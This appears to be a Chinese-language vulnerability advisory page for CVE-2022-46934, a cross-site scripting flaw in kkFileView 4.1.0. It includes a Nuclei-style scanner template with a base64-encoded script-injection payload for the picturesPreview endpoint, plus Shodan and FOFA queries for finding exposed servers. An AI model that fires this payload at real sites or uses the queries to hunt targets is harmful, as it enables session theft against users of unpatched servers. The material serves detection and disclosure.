CVE-2022-46934: kkFileView 4.1.0 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: kkFileView | POC: 已公开

漏洞描述

kkFileView 4.1.0 is susceptible to cross-site scripting via the url parameter at /controller/OnlinePreviewController.java. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC代码[已公开]

id: CVE-2022-46934

info:
  name: kkFileView 4.1.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    kkFileView 4.1.0 is susceptible to cross-site scripting via the url parameter at /controller/OnlinePreviewController.java. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of kkFileView or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/411
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46934
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-46934
    cwe-id: CWE-79
    epss-score: 0.11418
    epss-percentile: 0.93329
    cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: keking
    product: kkfileview
    shodan-query:
      - http.html:"kkFileView"
      - http.html:"kkfileview"
    fofa-query:
      - body="kkfileview"
      - app="kkfileview"
  tags: cve,cve2022,xss,kkfileview,keking

http:
  - method: GET
    path:
      - "{{BaseURL}}/picturesPreview?currentUrl=aHR0cDovLyIpO2FsZXJ0KGRvY3VtZW50LmRvbWFpbik7Ly8=&urls"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - document.getElementById("http://");alert(document.domain);//").click();
          - viewer.min.css
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022042611c208842f1b225bd6a5e6d40a9ce928716cf435ece92e5ec64ff8021a5ac02210089c0058e246a75aa955c745b605fbdd7b8e89a08fad3d01fde8de485115eceab:922c64590222798bb761d5b6d8e72950

相关漏洞推荐